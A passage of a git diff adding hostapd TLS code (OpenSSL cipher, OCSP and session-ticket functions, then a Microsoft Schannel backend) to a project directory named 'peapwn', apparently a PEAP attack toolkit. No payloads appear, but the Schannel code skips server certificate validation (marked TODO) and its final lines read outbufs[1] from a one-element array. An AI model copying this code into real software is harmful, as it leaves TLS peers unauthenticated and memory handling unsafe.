const char *suite; + + switch (*c) { + case TLS_CIPHER_RC4_SHA: + suite = "RC4-SHA"; + break; + case TLS_CIPHER_AES128_SHA: + suite = "AES128-SHA"; + break; + case TLS_CIPHER_RSA_DHE_AES128_SHA: + suite = "DHE-RSA-AES128-SHA"; + break; + case TLS_CIPHER_ANON_DH_AES128_SHA: + suite = "ADH-AES128-SHA"; + break; + default: + wpa_printf(MSG_DEBUG, "TLS: Unsupported " + "cipher selection: %d", *c); + return -1; + } + ret = os_snprintf(pos, end - pos, ":%s", suite); + if (ret < 0 || ret >= end - pos) + break; + pos += ret; + + c++; + } + + wpa_printf(MSG_DEBUG, "OpenSSL: cipher suites: %s", buf + 1); + + if (SSL_set_cipher_list(conn->ssl, buf + 1) != 1) { + tls_show_errors(MSG_INFO, __func__, + "Cipher suite configuration failed"); + return -1; + } + + return 0; +} + + +int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, + char *buf, size_t buflen) +{ + const char *name; + if (conn == NULL || conn->ssl == NULL) + return -1; + + name = SSL_get_cipher(conn->ssl); + if (name == NULL) + return -1; + + os_strlcpy(buf, name, buflen); + return 0; +} + + +int tls_connection_enable_workaround(void *ssl_ctx, + struct tls_connection *conn) +{ + SSL_set_options(conn->ssl, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS); + + return 0; +} + + +#if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) +/* ClientHello TLS extensions require a patch to openssl, so this function is + * commented out unless explicitly needed for EAP-FAST in order to be able to + * build this file with unmodified openssl. */ +int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len) +{ + if (conn == NULL || conn->ssl == NULL || ext_type != 35) + return -1; + +#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE + if (SSL_set_session_ticket_ext(conn->ssl, (void *) data, + data_len) != 1) + return -1; +#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ + if (SSL_set_hello_extension(conn->ssl, ext_type, (void *) data, + data_len) != 1) + return -1; +#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ + + return 0; +} +#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ + + +int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->failed; +} + + +int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->read_alerts; +} + + +int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->write_alerts; +} + + +#ifdef HAVE_OCSP + +static void ocsp_debug_print_resp(OCSP_RESPONSE *rsp) +{ +#ifndef CONFIG_NO_STDOUT_DEBUG + extern int wpa_debug_level; + BIO *out; + size_t rlen; + char *txt; + int res; + + if (wpa_debug_level > MSG_DEBUG) + return; + + out = BIO_new(BIO_s_mem()); + if (!out) + return; + + OCSP_RESPONSE_print(out, rsp, 0); + rlen = BIO_ctrl_pending(out); + txt = os_malloc(rlen + 1); + if (!txt) { + BIO_free(out); + return; + } + + res = BIO_read(out, txt, rlen); + if (res > 0) { + txt[res] = '\0'; + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP Response\n%s", txt); + } + os_free(txt); + BIO_free(out); +#endif /* CONFIG_NO_STDOUT_DEBUG */ +} + + +static int ocsp_resp_cb(SSL *s, void *arg) +{ + struct tls_connection *conn = arg; + const unsigned char *p; + int len, status, reason; + OCSP_RESPONSE *rsp; + OCSP_BASICRESP *basic; + OCSP_CERTID *id; + ASN1_GENERALIZEDTIME *produced_at, *this_update, *next_update; + + len = SSL_get_tlsext_status_ocsp_resp(s, &p); + if (!p) { + wpa_printf(MSG_DEBUG, "OpenSSL: No OCSP response received"); + return (conn->flags & TLS_CONN_REQUIRE_OCSP) ? 0 : 1; + } + + wpa_hexdump(MSG_DEBUG, "OpenSSL: OCSP response", p, len); + + rsp = d2i_OCSP_RESPONSE(NULL, &p, len); + if (!rsp) { + wpa_printf(MSG_INFO, "OpenSSL: Failed to parse OCSP response"); + return 0; + } + + ocsp_debug_print_resp(rsp); + + status = OCSP_response_status(rsp); + if (status != OCSP_RESPONSE_STATUS_SUCCESSFUL) { + wpa_printf(MSG_INFO, "OpenSSL: OCSP responder error %d (%s)", + status, OCSP_response_status_str(status)); + return 0; + } + + basic = OCSP_response_get1_basic(rsp); + if (!basic) { + wpa_printf(MSG_INFO, "OpenSSL: Could not find BasicOCSPResponse"); + return 0; + } + + status = OCSP_basic_verify(basic, NULL, SSL_CTX_get_cert_store(s->ctx), + 0); + if (status <= 0) { + tls_show_errors(MSG_INFO, __func__, + "OpenSSL: OCSP response failed verification"); + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + return 0; + } + + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP response verification succeeded"); + + if (!conn->peer_cert) { + wpa_printf(MSG_DEBUG, "OpenSSL: Peer certificate not available for OCSP status check"); + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + return 0; + } + + if (!conn->peer_issuer) { + wpa_printf(MSG_DEBUG, "OpenSSL: Peer issuer certificate not available for OCSP status check"); + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + return 0; + } + + id = OCSP_cert_to_id(NULL, conn->peer_cert, conn->peer_issuer); + if (!id) { + wpa_printf(MSG_DEBUG, "OpenSSL: Could not create OCSP certificate identifier"); + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + return 0; + } + + if (!OCSP_resp_find_status(basic, id, &status, &reason, &produced_at, + &this_update, &next_update)) { + wpa_printf(MSG_INFO, "OpenSSL: Could not find current server certificate from OCSP response%s", + (conn->flags & TLS_CONN_REQUIRE_OCSP) ? "" : + " (OCSP not required)"); + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + return (conn->flags & TLS_CONN_REQUIRE_OCSP) ? 0 : 1; + } + + if (!OCSP_check_validity(this_update, next_update, 5 * 60, -1)) { + tls_show_errors(MSG_INFO, __func__, + "OpenSSL: OCSP status times invalid"); + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + return 0; + } + + OCSP_BASICRESP_free(basic); + OCSP_RESPONSE_free(rsp); + + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP status for server certificate: %s", + OCSP_cert_status_str(status)); + + if (status == V_OCSP_CERTSTATUS_GOOD) + return 1; + if (status == V_OCSP_CERTSTATUS_REVOKED) + return 0; + if (conn->flags & TLS_CONN_REQUIRE_OCSP) { + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP status unknown, but OCSP required"); + return 0; + } + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP status unknown, but OCSP was not required, so allow connection to continue"); + return 1; +} + + +static int ocsp_status_cb(SSL *s, void *arg) +{ + char *tmp; + char *resp; + size_t len; + + if (tls_global->ocsp_stapling_response == NULL) { + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP status callback - no response configured"); + return SSL_TLSEXT_ERR_OK; + } + + resp = os_readfile(tls_global->ocsp_stapling_response, &len); + if (resp == NULL) { + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP status callback - could not read response file"); + /* TODO: Build OCSPResponse with responseStatus = internalError + */ + return SSL_TLSEXT_ERR_OK; + } + wpa_printf(MSG_DEBUG, "OpenSSL: OCSP status callback - send cached response"); + tmp = OPENSSL_malloc(len); + if (tmp == NULL) { + os_free(resp); + return SSL_TLSEXT_ERR_ALERT_FATAL; + } + + os_memcpy(tmp, resp, len); + os_free(resp); + SSL_set_tlsext_status_ocsp_resp(s, tmp, len); + + return SSL_TLSEXT_ERR_OK; +} + +#endif /* HAVE_OCSP */ + + +int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params) +{ + int ret; + unsigned long err; + + if (conn == NULL) + return -1; + + while ((err = ERR_get_error())) { + wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", + __func__, ERR_error_string(err, NULL)); + } + + if (params->engine) { + wpa_printf(MSG_DEBUG, "SSL: Initializing TLS engine"); + ret = tls_engine_init(conn, params->engine_id, params->pin, + params->key_id, params->cert_id, + params->ca_cert_id); + if (ret) + return ret; + } + if (tls_connection_set_subject_match(conn, + params->subject_match, + params->altsubject_match, + params->suffix_match)) + return -1; + + if (params->engine && params->ca_cert_id) { + if (tls_connection_engine_ca_cert(tls_ctx, conn, + params->ca_cert_id)) + return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; + } else if (tls_connection_ca_cert(tls_ctx, conn, params->ca_cert, + params->ca_cert_blob, + params->ca_cert_blob_len, + params->ca_path)) + return -1; + + if (params->engine && params->cert_id) { + if (tls_connection_engine_client_cert(conn, params->cert_id)) + return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; + } else if (tls_connection_client_cert(conn, params->client_cert, + params->client_cert_blob, + params->client_cert_blob_len)) + return -1; + + if (params->engine && params->key_id) { + wpa_printf(MSG_DEBUG, "TLS: Using private key from engine"); + if (tls_connection_engine_private_key(conn)) + return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; + } else if (tls_connection_private_key(tls_ctx, conn, + params->private_key, + params->private_key_passwd, + params->private_key_blob, + params->private_key_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to load private key '%s'", + params->private_key); + return -1; + } + + if (tls_connection_dh(conn, params->dh_file)) { + wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", + params->dh_file); + return -1; + } + +#ifdef SSL_OP_NO_TICKET + if (params->flags & TLS_CONN_DISABLE_SESSION_TICKET) + SSL_set_options(conn->ssl, SSL_OP_NO_TICKET); +#ifdef SSL_clear_options + else + SSL_clear_options(conn->ssl, SSL_OP_NO_TICKET); +#endif /* SSL_clear_options */ +#endif /* SSL_OP_NO_TICKET */ + +#ifdef HAVE_OCSP + if (params->flags & TLS_CONN_REQUEST_OCSP) { + SSL_CTX *ssl_ctx = tls_ctx; + SSL_set_tlsext_status_type(conn->ssl, TLSEXT_STATUSTYPE_ocsp); + SSL_CTX_set_tlsext_status_cb(ssl_ctx, ocsp_resp_cb); + SSL_CTX_set_tlsext_status_arg(ssl_ctx, conn); + } +#endif /* HAVE_OCSP */ + + conn->flags = params->flags; + + tls_get_errors(tls_ctx); + + return 0; +} + + +int tls_global_set_params(void *tls_ctx, + const struct tls_connection_params *params) +{ + SSL_CTX *ssl_ctx = tls_ctx; + unsigned long err; + + while ((err = ERR_get_error())) { + wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", + __func__, ERR_error_string(err, NULL)); + } + + if (tls_global_ca_cert(ssl_ctx, params->ca_cert)) + return -1; + + if (tls_global_client_cert(ssl_ctx, params->client_cert)) + return -1; + + if (tls_global_private_key(ssl_ctx, params->private_key, + params->private_key_passwd)) + return -1; + + if (tls_global_dh(ssl_ctx, params->dh_file)) { + wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", + params->dh_file); + return -1; + } + +#ifdef SSL_OP_NO_TICKET + if (params->flags & TLS_CONN_DISABLE_SESSION_TICKET) + SSL_CTX_set_options(ssl_ctx, SSL_OP_NO_TICKET); +#ifdef SSL_CTX_clear_options + else + SSL_CTX_clear_options(ssl_ctx, SSL_OP_NO_TICKET); +#endif /* SSL_clear_options */ +#endif /* SSL_OP_NO_TICKET */ + +#ifdef HAVE_OCSP + SSL_CTX_set_tlsext_status_cb(ssl_ctx, ocsp_status_cb); + SSL_CTX_set_tlsext_status_arg(ssl_ctx, ssl_ctx); + os_free(tls_global->ocsp_stapling_response); + if (params->ocsp_stapling_response) + tls_global->ocsp_stapling_response = + os_strdup(params->ocsp_stapling_response); + else + tls_global->ocsp_stapling_response = NULL; +#endif /* HAVE_OCSP */ + + return 0; +} + + +int tls_connection_get_keyblock_size(void *tls_ctx, + struct tls_connection *conn) +{ + const EVP_CIPHER *c; + const EVP_MD *h; + int md_size; + + if (conn == NULL || conn->ssl == NULL || + conn->ssl->enc_read_ctx == NULL || + conn->ssl->enc_read_ctx->cipher == NULL || + conn->ssl->read_hash == NULL) + return -1; + + c = conn->ssl->enc_read_ctx->cipher; +#if OPENSSL_VERSION_NUMBER >= 0x00909000L + h = EVP_MD_CTX_md(conn->ssl->read_hash); +#else + h = conn->ssl->read_hash; +#endif + if (h) + md_size = EVP_MD_size(h); +#if OPENSSL_VERSION_NUMBER >= 0x10000000L + else if (conn->ssl->s3) + md_size = conn->ssl->s3->tmp.new_mac_secret_size; +#endif + else + return -1; + + wpa_printf(MSG_DEBUG, "OpenSSL: keyblock size: key_len=%d MD_size=%d " + "IV_len=%d", EVP_CIPHER_key_length(c), md_size, + EVP_CIPHER_iv_length(c)); + return 2 * (EVP_CIPHER_key_length(c) + + md_size + + EVP_CIPHER_iv_length(c)); +} + + +unsigned int tls_capabilities(void *tls_ctx) +{ + return 0; +} + + +#if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) +/* Pre-shared secred requires a patch to openssl, so this function is + * commented out unless explicitly needed for EAP-FAST in order to be able to + * build this file with unmodified openssl. */ + +static int tls_sess_sec_cb(SSL *s, void *secret, int *secret_len, + STACK_OF(SSL_CIPHER) *peer_ciphers, + SSL_CIPHER **cipher, void *arg) +{ + struct tls_connection *conn = arg; + int ret; + + if (conn == NULL || conn->session_ticket_cb == NULL) + return 0; + + ret = conn->session_ticket_cb(conn->session_ticket_cb_ctx, + conn->session_ticket, + conn->session_ticket_len, + s->s3->client_random, + s->s3->server_random, secret); + os_free(conn->session_ticket); + conn->session_ticket = NULL; + + if (ret <= 0) + return 0; + + *secret_len = SSL_MAX_MASTER_KEY_LENGTH; + return 1; +} + + +#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE +static int tls_session_ticket_ext_cb(SSL *s, const unsigned char *data, + int len, void *arg) +{ + struct tls_connection *conn = arg; + + if (conn == NULL || conn->session_ticket_cb == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "OpenSSL: %s: length=%d", __func__, len); + + os_free(conn->session_ticket); + conn->session_ticket = NULL; + + wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " + "extension", data, len); + + conn->session_ticket = os_malloc(len); + if (conn->session_ticket == NULL) + return 0; + + os_memcpy(conn->session_ticket, data, len); + conn->session_ticket_len = len; + + return 1; +} +#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ +#ifdef SSL_OP_NO_TICKET +static void tls_hello_ext_cb(SSL *s, int client_server, int type, + unsigned char *data, int len, void *arg) +{ + struct tls_connection *conn = arg; + + if (conn == NULL || conn->session_ticket_cb == NULL) + return; + + wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, + type, len); + + if (type == TLSEXT_TYPE_session_ticket && !client_server) { + os_free(conn->session_ticket); + conn->session_ticket = NULL; + + wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " + "extension", data, len); + conn->session_ticket = os_malloc(len); + if (conn->session_ticket == NULL) + return; + + os_memcpy(conn->session_ticket, data, len); + conn->session_ticket_len = len; + } +} +#else /* SSL_OP_NO_TICKET */ +static int tls_hello_ext_cb(SSL *s, TLS_EXTENSION *ext, void *arg) +{ + struct tls_connection *conn = arg; + + if (conn == NULL || conn->session_ticket_cb == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, + ext->type, ext->length); + + os_free(conn->session_ticket); + conn->session_ticket = NULL; + + if (ext->type == 35) { + wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " + "extension", ext->data, ext->length); + conn->session_ticket = os_malloc(ext->length); + if (conn->session_ticket == NULL) + return SSL_AD_INTERNAL_ERROR; + + os_memcpy(conn->session_ticket, ext->data, ext->length); + conn->session_ticket_len = ext->length; + } + + return 0; +} +#endif /* SSL_OP_NO_TICKET */ +#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ +#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ + + +int tls_connection_set_session_ticket_cb(void *tls_ctx, + struct tls_connection *conn, + tls_session_ticket_cb cb, + void *ctx) +{ +#if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) + conn->session_ticket_cb = cb; + conn->session_ticket_cb_ctx = ctx; + + if (cb) { + if (SSL_set_session_secret_cb(conn->ssl, tls_sess_sec_cb, + conn) != 1) + return -1; +#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE + SSL_set_session_ticket_ext_cb(conn->ssl, + tls_session_ticket_ext_cb, conn); +#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ +#ifdef SSL_OP_NO_TICKET + SSL_set_tlsext_debug_callback(conn->ssl, tls_hello_ext_cb); + SSL_set_tlsext_debug_arg(conn->ssl, conn); +#else /* SSL_OP_NO_TICKET */ + if (SSL_set_hello_extension_cb(conn->ssl, tls_hello_ext_cb, + conn) != 1) + return -1; +#endif /* SSL_OP_NO_TICKET */ +#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ + } else { + if (SSL_set_session_secret_cb(conn->ssl, NULL, NULL) != 1) + return -1; +#ifdef CONFIG_OPENSSL_TICKET_OVERRIDE + SSL_set_session_ticket_ext_cb(conn->ssl, NULL, NULL); +#else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ +#ifdef SSL_OP_NO_TICKET + SSL_set_tlsext_debug_callback(conn->ssl, NULL); + SSL_set_tlsext_debug_arg(conn->ssl, conn); +#else /* SSL_OP_NO_TICKET */ + if (SSL_set_hello_extension_cb(conn->ssl, NULL, NULL) != 1) + return -1; +#endif /* SSL_OP_NO_TICKET */ +#endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ + } + + return 0; +#else /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ + return -1; +#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ +} diff --git a/peapwn/mods/hostap/src/crypto/tls_schannel.c b/peapwn/mods/hostap/src/crypto/tls_schannel.c new file mode 100644 index 000000000..2c2daa8a8 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls_schannel.c @@ -0,0 +1,732 @@ +/* + * SSL/TLS interface functions for Microsoft Schannel + * Copyright (c) 2005-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +/* + * FIX: Go through all SSPI functions and verify what needs to be freed + * FIX: session resumption + * TODO: add support for server cert chain validation + * TODO: add support for CA cert validation + * TODO: add support for EAP-TLS (client cert/key conf) + */ + +#include "includes.h" +#include +#include +#include +#define SECURITY_WIN32 +#include +#include + +#include "common.h" +#include "tls.h" + + +struct tls_global { + HMODULE hsecurity; + PSecurityFunctionTable sspi; + HCERTSTORE my_cert_store; +}; + +struct tls_connection { + int established, start; + int failed, read_alerts, write_alerts; + + SCHANNEL_CRED schannel_cred; + CredHandle creds; + CtxtHandle context; + + u8 eap_tls_prf[128]; + int eap_tls_prf_set; +}; + + +static int schannel_load_lib(struct tls_global *global) +{ + INIT_SECURITY_INTERFACE pInitSecurityInterface; + + global->hsecurity = LoadLibrary(TEXT("Secur32.dll")); + if (global->hsecurity == NULL) { + wpa_printf(MSG_ERROR, "%s: Could not load Secur32.dll - 0x%x", + __func__, (unsigned int) GetLastError()); + return -1; + } + + pInitSecurityInterface = (INIT_SECURITY_INTERFACE) GetProcAddress( + global->hsecurity, "InitSecurityInterfaceA"); + if (pInitSecurityInterface == NULL) { + wpa_printf(MSG_ERROR, "%s: Could not find " + "InitSecurityInterfaceA from Secur32.dll", + __func__); + FreeLibrary(global->hsecurity); + global->hsecurity = NULL; + return -1; + } + + global->sspi = pInitSecurityInterface(); + if (global->sspi == NULL) { + wpa_printf(MSG_ERROR, "%s: Could not read security " + "interface - 0x%x", + __func__, (unsigned int) GetLastError()); + FreeLibrary(global->hsecurity); + global->hsecurity = NULL; + return -1; + } + + return 0; +} + + +void * tls_init(const struct tls_config *conf) +{ + struct tls_global *global; + + global = os_zalloc(sizeof(*global)); + if (global == NULL) + return NULL; + if (schannel_load_lib(global)) { + os_free(global); + return NULL; + } + return global; +} + + +void tls_deinit(void *ssl_ctx) +{ + struct tls_global *global = ssl_ctx; + + if (global->my_cert_store) + CertCloseStore(global->my_cert_store, 0); + FreeLibrary(global->hsecurity); + os_free(global); +} + + +int tls_get_errors(void *ssl_ctx) +{ + return 0; +} + + +struct tls_connection * tls_connection_init(void *ssl_ctx) +{ + struct tls_connection *conn; + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + conn->start = 1; + + return conn; +} + + +void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return; + + os_free(conn); +} + + +int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) +{ + return conn ? conn->established : 0; +} + + +int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) +{ + struct tls_global *global = ssl_ctx; + if (conn == NULL) + return -1; + + conn->eap_tls_prf_set = 0; + conn->established = conn->failed = 0; + conn->read_alerts = conn->write_alerts = 0; + global->sspi->DeleteSecurityContext(&conn->context); + /* FIX: what else needs to be reseted? */ + + return 0; +} + + +int tls_global_set_params(void *tls_ctx, + const struct tls_connection_params *params) +{ + return -1; +} + + +int tls_global_set_verify(void *ssl_ctx, int check_crl) +{ + return -1; +} + + +int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, + int verify_peer) +{ + return -1; +} + + +int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, + struct tls_keys *keys) +{ + /* Schannel does not export master secret or client/server random. */ + return -1; +} + + +int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, + const char *label, int server_random_first, + u8 *out, size_t out_len) +{ + /* + * Cannot get master_key from Schannel, but EapKeyBlock can be used to + * generate session keys for EAP-TLS and EAP-PEAPv0. EAP-PEAPv2 and + * EAP-TTLS cannot use this, though, since they are using different + * labels. The only option could be to implement TLSv1 completely here + * and just use Schannel or CryptoAPI for low-level crypto + * functionality.. + */ + + if (conn == NULL || !conn->eap_tls_prf_set || server_random_first || + os_strcmp(label, "client EAP encryption") != 0 || + out_len > sizeof(conn->eap_tls_prf)) + return -1; + + os_memcpy(out, conn->eap_tls_prf, out_len); + + return 0; +} + + +static struct wpabuf * tls_conn_hs_clienthello(struct tls_global *global, + struct tls_connection *conn) +{ + DWORD sspi_flags, sspi_flags_out; + SecBufferDesc outbuf; + SecBuffer outbufs[1]; + SECURITY_STATUS status; + TimeStamp ts_expiry; + + sspi_flags = ISC_REQ_REPLAY_DETECT | + ISC_REQ_CONFIDENTIALITY | + ISC_RET_EXTENDED_ERROR | + ISC_REQ_ALLOCATE_MEMORY | + ISC_REQ_MANUAL_CRED_VALIDATION; + + wpa_printf(MSG_DEBUG, "%s: Generating ClientHello", __func__); + + outbufs[0].pvBuffer = NULL; + outbufs[0].BufferType = SECBUFFER_TOKEN; + outbufs[0].cbBuffer = 0; + + outbuf.cBuffers = 1; + outbuf.pBuffers = outbufs; + outbuf.ulVersion = SECBUFFER_VERSION; + +#ifdef UNICODE + status = global->sspi->InitializeSecurityContextW( + &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, + SECURITY_NATIVE_DREP, NULL, 0, &conn->context, + &outbuf, &sspi_flags_out, &ts_expiry); +#else /* UNICODE */ + status = global->sspi->InitializeSecurityContextA( + &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, + SECURITY_NATIVE_DREP, NULL, 0, &conn->context, + &outbuf, &sspi_flags_out, &ts_expiry); +#endif /* UNICODE */ + if (status != SEC_I_CONTINUE_NEEDED) { + wpa_printf(MSG_ERROR, "%s: InitializeSecurityContextA " + "failed - 0x%x", + __func__, (unsigned int) status); + return NULL; + } + + if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { + struct wpabuf *buf; + wpa_hexdump(MSG_MSGDUMP, "SChannel - ClientHello", + outbufs[0].pvBuffer, outbufs[0].cbBuffer); + conn->start = 0; + buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, + outbufs[0].cbBuffer); + if (buf == NULL) + return NULL; + global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); + return buf; + } + + wpa_printf(MSG_ERROR, "SChannel: Failed to generate ClientHello"); + + return NULL; +} + + +#ifndef SECPKG_ATTR_EAP_KEY_BLOCK +#define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b + +typedef struct _SecPkgContext_EapKeyBlock { + BYTE rgbKeys[128]; + BYTE rgbIVs[64]; +} SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock; +#endif /* !SECPKG_ATTR_EAP_KEY_BLOCK */ + +static int tls_get_eap(struct tls_global *global, struct tls_connection *conn) +{ + SECURITY_STATUS status; + SecPkgContext_EapKeyBlock kb; + + /* Note: Windows NT and Windows Me/98/95 do not support getting + * EapKeyBlock */ + + status = global->sspi->QueryContextAttributes( + &conn->context, SECPKG_ATTR_EAP_KEY_BLOCK, &kb); + if (status != SEC_E_OK) { + wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes(" + "SECPKG_ATTR_EAP_KEY_BLOCK) failed (%d)", + __func__, (int) status); + return -1; + } + + wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbKeys", + kb.rgbKeys, sizeof(kb.rgbKeys)); + wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbIVs", + kb.rgbIVs, sizeof(kb.rgbIVs)); + + os_memcpy(conn->eap_tls_prf, kb.rgbKeys, sizeof(kb.rgbKeys)); + conn->eap_tls_prf_set = 1; + return 0; +} + + +struct wpabuf * tls_connection_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + struct tls_global *global = tls_ctx; + DWORD sspi_flags, sspi_flags_out; + SecBufferDesc inbuf, outbuf; + SecBuffer inbufs[2], outbufs[1]; + SECURITY_STATUS status; + TimeStamp ts_expiry; + struct wpabuf *out_buf = NULL; + + if (appl_data) + *appl_data = NULL; + + if (conn->start) + return tls_conn_hs_clienthello(global, conn); + + wpa_printf(MSG_DEBUG, "SChannel: %d bytes handshake data to process", + (int) wpabuf_len(in_data)); + + sspi_flags = ISC_REQ_REPLAY_DETECT | + ISC_REQ_CONFIDENTIALITY | + ISC_RET_EXTENDED_ERROR | + ISC_REQ_ALLOCATE_MEMORY | + ISC_REQ_MANUAL_CRED_VALIDATION; + + /* Input buffer for Schannel */ + inbufs[0].pvBuffer = (u8 *) wpabuf_head(in_data); + inbufs[0].cbBuffer = wpabuf_len(in_data); + inbufs[0].BufferType = SECBUFFER_TOKEN; + + /* Place for leftover data from Schannel */ + inbufs[1].pvBuffer = NULL; + inbufs[1].cbBuffer = 0; + inbufs[1].BufferType = SECBUFFER_EMPTY; + + inbuf.cBuffers = 2; + inbuf.pBuffers = inbufs; + inbuf.ulVersion = SECBUFFER_VERSION; + + /* Output buffer for Schannel */ + outbufs[0].pvBuffer = NULL; + outbufs[0].cbBuffer = 0; + outbufs[0].BufferType = SECBUFFER_TOKEN; + + outbuf.cBuffers = 1; + outbuf.pBuffers = outbufs; + outbuf.ulVersion = SECBUFFER_VERSION; + +#ifdef UNICODE + status = global->sspi->InitializeSecurityContextW( + &conn->creds, &conn->context, NULL, sspi_flags, 0, + SECURITY_NATIVE_DREP, &inbuf, 0, NULL, + &outbuf, &sspi_flags_out, &ts_expiry); +#else /* UNICODE */ + status = global->sspi->InitializeSecurityContextA( + &conn->creds, &conn->context, NULL, sspi_flags, 0, + SECURITY_NATIVE_DREP, &inbuf, 0, NULL, + &outbuf, &sspi_flags_out, &ts_expiry); +#endif /* UNICODE */ + + wpa_printf(MSG_MSGDUMP, "Schannel: InitializeSecurityContext -> " + "status=%d inlen[0]=%d intype[0]=%d inlen[1]=%d " + "intype[1]=%d outlen[0]=%d", + (int) status, (int) inbufs[0].cbBuffer, + (int) inbufs[0].BufferType, (int) inbufs[1].cbBuffer, + (int) inbufs[1].BufferType, + (int) outbufs[0].cbBuffer); + if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED || + (FAILED(status) && (sspi_flags_out & ISC_RET_EXTENDED_ERROR))) { + if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { + wpa_hexdump(MSG_MSGDUMP, "SChannel - output", + outbufs[0].pvBuffer, outbufs[0].cbBuffer); + out_buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, + outbufs[0].cbBuffer); + global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); + outbufs[0].pvBuffer = NULL; + if (out_buf == NULL) + return NULL; + } + } + + switch (status) { + case SEC_E_INCOMPLETE_MESSAGE: + wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INCOMPLETE_MESSAGE"); + break; + case SEC_I_CONTINUE_NEEDED: + wpa_printf(MSG_DEBUG, "Schannel: SEC_I_CONTINUE_NEEDED"); + break; + case SEC_E_OK: + /* TODO: verify server certificate chain */ + wpa_printf(MSG_DEBUG, "Schannel: SEC_E_OK - Handshake " + "completed successfully"); + conn->established = 1; + tls_get_eap(global, conn); + + /* Need to return something to get final TLS ACK. */ + if (out_buf == NULL) + out_buf = wpabuf_alloc(0); + + if (inbufs[1].BufferType == SECBUFFER_EXTRA) { + wpa_hexdump(MSG_MSGDUMP, "SChannel - Encrypted " + "application data", + inbufs[1].pvBuffer, inbufs[1].cbBuffer); + if (appl_data) { + *appl_data = wpabuf_alloc_copy( + outbufs[1].pvBuffer, + outbufs[1].cbBuffer); + } + 